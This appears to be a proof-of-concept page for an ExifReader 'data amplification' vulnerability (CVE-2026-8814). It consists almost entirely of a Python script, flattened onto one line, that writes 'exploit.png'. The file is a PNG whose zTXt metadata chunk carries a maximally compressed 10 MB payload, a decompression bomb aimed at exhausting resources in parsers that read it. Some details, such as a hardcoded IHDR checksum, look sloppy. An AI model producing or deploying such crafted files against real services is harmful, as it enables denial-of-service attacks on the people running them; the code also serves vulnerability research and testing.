CVE-2026-8814 ExifReader 数据放大漏洞

import zlib import struct def create_malicious_png(filename): # Create a highly compressed payload that expands to 'A' * 10000000 payload = b'A' * 10000000 compressed_payload = zlib.compress(payload, 9) # PNG Signature png_signature = b'\x89PNG\r\n\x1a\n' # IHDR Chunk (minimal 1x1 image) ihdr_data = struct.pack('>IIBBBBB', 1, 1, 8, 2, 0, 0, 0) ihdr_chunk = struct.pack('>I', len(ihdr_data)) + b'IHDR' + ihdr_data + struct.pack('>I', 0x2144DF1C & 0xFFFFFFFF) # CRC # zTXt Chunk (Malicious) keyword = b'Comment\x00' compression_method = b'\x00' # Deflate ztxt_data = keyword + compression_method + compressed_payload # Calculate CRC for zTXt (simplified for PoC, real calculation needed for valid PNG) import binascii crc = binascii.crc32(b'zTXt' + ztxt_data) & 0xFFFFFFFF ztxt_chunk = struct.pack('>I', len(ztxt_data)) + b'zTXt' + ztxt_data + struct.pack('>I', crc) # IDAT Chunk (Empty/minimal) idat_data = zlib.compress(b'\x00') idat_crc = binascii.crc32(b'IDAT' + idat_data) & 0xFFFFFFFF idat_chunk = struct.pack('>I', len(idat_data)) + b'IDAT' + idat_data + struct.pack('>I', idat_crc) # IEND Chunk iend_chunk = struct.pack('>I', 0) + b'IEND' + struct.pack('>I', 0xAE426082) with open(filename, 'wb') as f: f.write(png_signature + ihdr_chunk + ztxt_chunk + idat_chunk + iend_chunk) create_malicious_png('exploit.png')